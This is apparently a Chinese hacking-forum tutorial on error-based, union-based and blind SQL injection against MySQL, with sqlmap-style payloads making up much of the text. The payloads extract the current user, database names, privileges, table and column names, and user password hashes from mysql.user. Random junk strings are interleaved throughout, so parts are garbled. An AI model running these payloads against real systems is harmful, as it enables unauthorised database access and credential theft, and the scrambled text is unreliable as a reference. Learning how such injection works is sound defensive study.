放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
0 A0 y. ]8 m( T: p( p
" s8 P( _+ y( H; N+ Z6 b! J这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
: L6 {7 Y: m9 d5 t" W
/ @% |8 f+ E( `" ^3 M! t, F: \$ j2 N分类标准 分类 备注& @: H5 n: e, L( V1 Z
按字段类型 整型注入,字符型注入
% j! }6 @; a9 b按出现的位置 get注入,post注入,cookie注入,http header注入 ; e7 G" |8 u0 Q/ t5 X2 H
然而高级注入是这样的
, T3 W$ b1 O0 z+ I2 |
5 ~ H* s2 z( V: S* w6 R高级注入分类 条件4 T$ ?1 o2 L) b# H' [; Y: p! ^
error-based sql 数据库的错误回显可以返回,存在数据库,表结构
. n: d8 @# h4 M! `% _union-based sql 能够使用union,存在数据库,表结构' x7 y* t7 Z! a% E( q
blind sql 存在注入
' f7 Z! l' o7 n, A4 j( {我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。" s& R& T) G9 O. R" Z& u* W
1 D( ~0 \6 P! G& i
好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火) P4 L$ X( `$ i
5 V* @" M \3 ]" k$ {附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。0 u4 O+ I8 g0 l$ F0 I5 @5 w/ j
4 ~1 ]9 \( \) w% O这里用mysql说明
9 T1 U1 t3 f, P
7 T4 g* L; U2 Q& \# }! re注入坛子里很多了,请看戳我或者再戳我
; }6 ]/ B1 G4 ^) I0 p0 J1 A3 y# }+ C
G$ g3 m: E4 x1 e- \ i$ p0 ru注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
! h5 e$ Y% u. d5 w6 _
' i1 G) I; }. L/ N5 E; h获取当前数据库用户名% U# d% c- G9 N' n3 a
9 u Y7 h5 u+ X. ^* vUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C' `9 Z B" k' a8 K2 q& F
AST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL
' B. ]5 M& ^' Y! xL, NULL#2 k0 k1 P7 F& L3 p) L2 u8 i1 U9 J
注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。5 ?& T$ X6 ?3 F
6 X, W4 x( Q9 \ d/ o- G G( J获取数据库名
# c7 K7 v2 g h1 F b& v
- }/ c( V4 x2 C( U# {UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#. m) o% |) c( o5 U7 c% g
获取所有用户名
" Z- j& ]. U; v: J 7 f- O0 C6 H/ D
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
7 ?( ~: m5 Z/ n' p. y& U& ]查看当前用户权限
9 S* Q' Q$ x0 r
, D. u9 {% M! f$ x$ l( \UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES## r1 H% k: U' ]( h/ x+ ?
尝试获取密码,当然需要有能读mysql数据库的权限
+ E6 I5 _6 y# P+ n. ~( _
: Y3 z- M+ ~, `6 A! uUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
5 z! S/ ?# K9 O. Y$ u& P: J4 {获取表名,limit什么的自己搞啦
3 V. X1 E: p: g& _
+ z9 I1 ]/ D X: JUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#
5 p' V0 M9 @7 C, ^1 p& R6 Q' G获取字段名及其类型" I6 u5 A) a3 v0 S' v$ Z4 Q: R
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
# b; W2 f, `5 i2 P+ Y + Q$ n: |3 I6 K; W
b注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。" x2 D' J) b& ? z H+ g* Y
2 j7 T; a$ X. g* G如:5 o9 `# ?% g) ]! o- X% ]
获取当前用户名4 S" e1 G3 s5 n# t) F' P5 K, Q
3 } O8 h& _3 i! X
AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 1160 S( T. B( {2 v# ?! H N" |# p; j
获取当前数据库; ~, z+ C5 v/ n. |
$ K* f: h) A5 `; K c0 v& |& L1 M4 y
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106, v9 Z' r( T) l& S+ x/ a8 e
获取表名- C3 ^; e( L: H/ r5 J {
0 {7 t7 p" q; K, K) \( _( EAND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
1 L: n- G& ~0 n& q获取字段名及其类型和爆内容就不说了,改改上面的就可以了。5 x0 a, Q8 u) u7 k9 I- ^
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
+ T" ], H# D7 W+ b" g2 j/ S爆表4 b1 T x1 I S/ L. Y/ B" o
: V0 k% L! n0 X, P* ?AND EXISTS(select * from table)
5 g! x9 k9 y- O5 C: E/ G \8 }爆字段
. S2 Q# | M3 m5 \5 |
7 `4 c& n. n1 k, `* D/ a( ?8 D0 ?AND EXISTS(select pwd from table)
" @$ s7 c0 Y4 F4 V盲注的变化就比较多了,由于篇幅,只是举个例子而已。
+ z, ~( A; ]3 F' ?3 j& y) K % |, ?* L3 R! Z7 _; o% P% e% }
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
D% l, g+ Z% Y0 N6 i |